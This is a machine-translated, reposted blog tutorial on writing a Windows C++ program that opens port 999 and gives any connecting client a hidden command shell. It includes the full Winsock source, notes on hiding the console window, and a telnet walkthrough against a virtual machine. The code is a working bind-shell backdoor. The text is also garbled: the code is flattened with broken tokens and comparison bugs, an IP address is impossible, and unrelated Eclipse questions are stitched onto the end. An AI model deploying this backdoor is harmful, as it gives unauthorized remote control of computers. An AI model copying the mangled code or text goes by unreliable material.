The hidden Console window is invalid (Continued 1). the console window

Source: Internet
Author: User

The hidden Console window is invalid (Continued 1). the console window

]

: Remotely control hosts through ports. After the program runs, the program automatically opens port 999 of the local machine, and other computers can operate on the local machine through port 999.


Commands used in the program:

Telnet test PORT command: telnet IP port or telnet domain name port (if telnet is not an internal command, enable or disable the windows function to start the Telnet service)
Netstat test open port number

A command line tool that uses ipconfig to control network connections. Its main functions include displaying the current network connection settings (/all parameter ), you can also use the/release parameter to release the obtained ip address location and/renew to re-obtain the ip Address allocation.

Use net user to obtain the account information of the computer

 

A pipe is a simple mechanism for inter-process communication (IPC), which is actually a shared memory. After a process writes data to the pipeline, the other process can read data from the other end of the pipeline.The problem of program window hiding is not solved.


// Mini. cpp: defines the entry point of the console application. # Include "stdafx. h "# pragma comment (lib," ws2_32.lib ") # include <winsock2.h> # include <windows. h> // # pragma comment (linker, "/subsystem: \" windows \ "/entry: \" mainCRTStartup \"") # define MAX_SER 10 # define HOST_PATH 256 # define HOSTNAME_SIZE HOST_PATH # define MasterPort 999 // define the listening port char hostName [MAX_PATH] = {0}; unsigned short maxService; unsigned short port; void Service (LPVOID lpv); int LoopControl (SOCKET llisten Fd, int isMultiTasking); void initial (); int initSockets (void); // initialize Windows Socketint main (int argc, char * argv []) {SOCKET listenFd, acceptfd; struct sockaddr_in serverAddr, clientAddr; char buffer [1024]; int nSize = sizeof (sockaddr_in); int err; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szlimit path [255]; initial (); initSockets (); // allocates memory resources ZeroMemory (& ProcessInfo, sizeof (PROCESS_INFORMATION); Z EroMemory (& StartupInfo, sizeof (STARTUPINFO); GetEnvironmentVariable ("COMSPEC", sz1_path, sizeof (sz1_path); // GetStartupInfo (& StartupInfo ); // create a socket // listenFd = socket (PF_INET, SOCK_STREAM, 0); listenFd = WSASocket (AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (listenFd = INVALID_SOCKET) {printf ("error: out of socket resource \ n"); return 1;} // The port serverAddr of the bind local machine. sin_family = AF_INET; // The protocol type is INETserverAddr. sin_ad Dr. s_un.S_addr = htonl (INADDR_ANY); // The local IPserverAddr. sin_port = htons (MasterPort); // The binding port is 9990err = bind (listenFd, (const struct sockaddr *) & serverAddr, sizeof (serverAddr); if (err = INVALID_SOCKET) {printf ("error: unable to bind socket \ n"); return 1 ;}// listen listener port err = listen (listenFd, 1); if (err = INVALID_SOCKET) {printf ("error: listen socket failed \ n"); return 1;} printf ("listen ...... "); acceptfd = accept (listenFd, (s Truct sockaddr *) & clientAddr, & nSize); // prepare for receiving The customer connection/** nLength: The size, in bytes, of this structure. * lpSecurityDescriptor: A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object, If the value of this member is NULL, * the object is assigned the default security descriptor associated with the access token of the calling process. * bInheritHandle: A Boolean value that spe Cifies whether the returned handle is inherited when a new process is created. */SECURITY_ATTRIBUTES sa; sa. nLength = 12; sa. lpSecurityDescriptor = 0; sa. bInheritHandle = true; HANDLE hReadPipe1; HANDLE hWritePipe1; HANDLE hReadPipe2; HANDLE hWritePipe2;/** Creates an anonymous pipe, and returns handles to the read and write ends of the pipe. * hReadPipe [out]: A pointer to a variable that reads es the read ha Ndle for the pipe. * hWritePipe [out]: A pointer to a variable that contains es the write handle for the pipe. * lpPipeAttributes [in, optional]: If lpPipeAttributes is NULL, the handle cannot be inherited. * nSize [in]: The size of the buffer for the pipe, in bytes. the size is only a suggestion; * the system uses the value to calculate an appropriate buffering mechanic. if this parameter is zero, t He system uses the default buffer size. */err = CreatePipe (& hReadPipe1, & hWritePipe1, & sa, 0); err = CreatePipe (& hReadPipe2, & hWritePipe2, & sa, 0 ); // configure the hidden window struct StartupInfo. cb = sizeof (STARTUPINFO); StartupInfo. wShowWindow = SW_HIDE; StartupInfo. dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo. hStdInput = hReadPipe2; StartupInfo. hStdOutput = hWritePipe1; StartupInfo. hStdError = hWritePipe1; // Create an anonymous pipeline BOOL ret = Create Process (NULL, sz1_path, NULL, NULL, TRUE, 0, NULL, NULL, & StartupInfo, & ProcessInfo); if (ret) {printf ("% d ", getLastError ();} unsigned long lBytesRead; while (1) {/** Copies data from a named or anonymous pipe into a buffer without removing it from the pipe. it also returns information about data in the pipe. * hNamedPipe [in]: A handle to the pipe. this parameter can be a handle to a named pipe instance * lpBuffe R [out, optional]: A pointer to a buffer that reads es data from the pipe. this parameter can be NULL if no data is to be read. * nBufferSize [in]: The size of the buffer specified by the lpBuffer parameter, in bytes. this parameter is ignored if lpBuffer is NULL. * lpBytesRead [out, optional]: A pointer to a variable that contains es the number of bytes read from the pipe. this parameter can B E NULL if no data is to be read. * lpTotalBytesAvail [out, optional]: pointer to a variable that means es the total number of bytes available to be read from the pipe. * lpBytesLeftThisMessage [out, optional]: A pointer to a variable that represents es the number of bytes remaining in this message */err = PeekNamedPipe (hReadPipe1, buffer, 1024, & lBytesRead, 0, 0); if (lBytesRead) {/** Reads data from the specifie D file or input/output (I/O) device * hFile [in]: A handle to the device * lpBuffer [out]: A pointer to the buffer that reads es the data read from a file or device. * nNumberOfBytesToRead [in]: The maximum number of bytes to be read. * lpNumberOfBytesRead [out, optional]: A pointer to the variable that represents es the number of bytes read when using a synchronous hFile parameter * lpOverlapped [in, Out, optional]: */ret = ReadFile (hReadPipe1, buffer, lBytesRead, & lBytesRead, 0); if (! Ret) {break;} ret = send (acceptfd, buffer, lBytesRead, 0); if (ret <= 0) break;} else {lBytesRead = recv (acceptfd, buffer, 1024,0); if (lBytesRead <= 0) {break;}/** If the function succeeds, the return value is nonzero (TRUE ). */ret = WriteFile (hWritePipe2, buffer, lBytesRead, & lBytesRead, 0); if (! Ret) break; }}// WaitForSingleObject (ProcessInfo. hProcess, INFINITE); CloseHandle (ProcessInfo. hProcess); CloseHandle (ProcessInfo. hThread); printf ("server is down \ n"); // closes the Process Handle closesocket (listenFd); closesocket (acceptfd); WSACleanup (); return 0 ;} void initial () {maxService = 3; port = 5054;}/** Winsock service initialization */int initSockets (void) {WSADATA wsaData; WORD sockVersion; // typedef unsigned short WORD (16) int err; sockVersi On = MAKEWORD (2, 2); err = WSAStartup (sockVersion, & wsaData); if (err! = 0) {printf ("error % d: winsock not avaliable \ n", err);} printf ("environemnt invaild success ..... \ n "); return 0 ;}

Virtual Machine IP Address: 192.168.1.42.

Run this program on a virtual machine. Enter

telnet 192.268.1.42 999

A connection is established:



The connection directory is E: \ Release. We need to switch to disk C.



Run the following command to operate the computer:



Close the cmd window:



Appendix 1:


Notified status (trusted status) not notified status (non-trusted status)

Process Kernel Object

When the process is running, the process kernel object is not notified. When the process stops running, it is in the notified status. You can wait for the process to check whether the process is still running.

No side effects of waiting.

Thread Kernel Object

When the thread is running, the thread kernel object is not notified. When the thread stops running, it is in the notified State. You can wait for the thread to check whether the thread is still running.

No side effects of waiting.

Appendix 2:

The waiting function enables the thread to voluntarily enter the waiting state until a specific kernel object changes to the notified State. The most common waiting functions are WaitForSingleObject:

DWORD WaitForSingleObject(HANDLE hObject, DWORD dwMilliseconds);

When the thread calls this function, the first parameter hObject identifies a kernel object that can be notified or not notified. The second parameter dwMilliseconds is used by this thread to specify how long it will wait to wait for the object to become notified.

Call the following function to tell the system that the calling function is waiting until the process identified by the hProcess handle stops running :【I really don't know what to say]


WaitForSingleObject(hProcess, INFINITE);

The second parameter tells the system that the calling thread is willing to wait forever (unlimited time) until the process stops running.
In general, INFINITE is passed to WaitForSingleObject as the second parameter, but it can also pass any value (in milliseconds ). By the way, INFINITE has been defined as 0 xFFFFFFFF (or-1 ). Of course, it is dangerous to pass INFINITE. If the object never changes to the notified State, the calling thread will never be awakened and it will always be in the Deadlock State,

 

Appendix 3:

The listen function changes the connection sleeve interface into a connection sleeve interface, so that a process can accept requests from other processes and thus become a server process. In TCP Server programming, the listen function converts a process into a server and specifies a socket to a passive connection.

The listen function is called after bind-before accept is called. Its function prototype is:

#include<sys/socket.h>int listen(int sockfd, int backlog)

Return Value: 0 -- successful,-1 -- failed

 

Parameter sockfd

The socket acting by the listen function is returned by the socket function before sockfd. When the socket FD is returned by the socket function, it is an active socket. In this case, the system assumes that the user will call the connect function on the socket and expects it to actively connect to other processes, in Server programming, the user hopes that the socket can accept external connection requests, that is, passively waiting for the user to connect. Because the system considers a socket to be actively connected by default, it is necessary to tell the system in some way that the user process can do this by calling the listen system.

Parameter backlog

This parameter involves some network details. When a process processes a connection request, other connection requests may exist. Because TCP connection is a process, there may be a semi-connection status. Sometimes, due to too many users trying to connect at the same time, the server process cannot quickly complete the connection request. If this happens, what does the server process want the kernel to do? The kernel maintains a queue in its own process space to track the established connections, but the server process has not taken over the processing or ongoing connections, such a queue kernel cannot be arbitrarily large, so there must be an upper limit of the size. This backlog tells the kernel to use this value as the upper limit.
There is no doubt that the server process cannot specify a value at will, and the kernel has a permitted range. This range is implementation-related. It is difficult to have a certain degree of uniformity. Generally, this value is smaller than 30.

After listen is called, the server process can call accept to accept an external request. For more information about accept, follow this system article.

 


Why can't the eclipse 341 console window come out?

Click "window"-"show view"-"console" in the menu bar and you will be able to see it below. Then you want to turn off the program and click a red box button on the console.

Error exception information cannot be displayed in the Console window of MyEclipse

Follow the steps shown in the figure.




Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.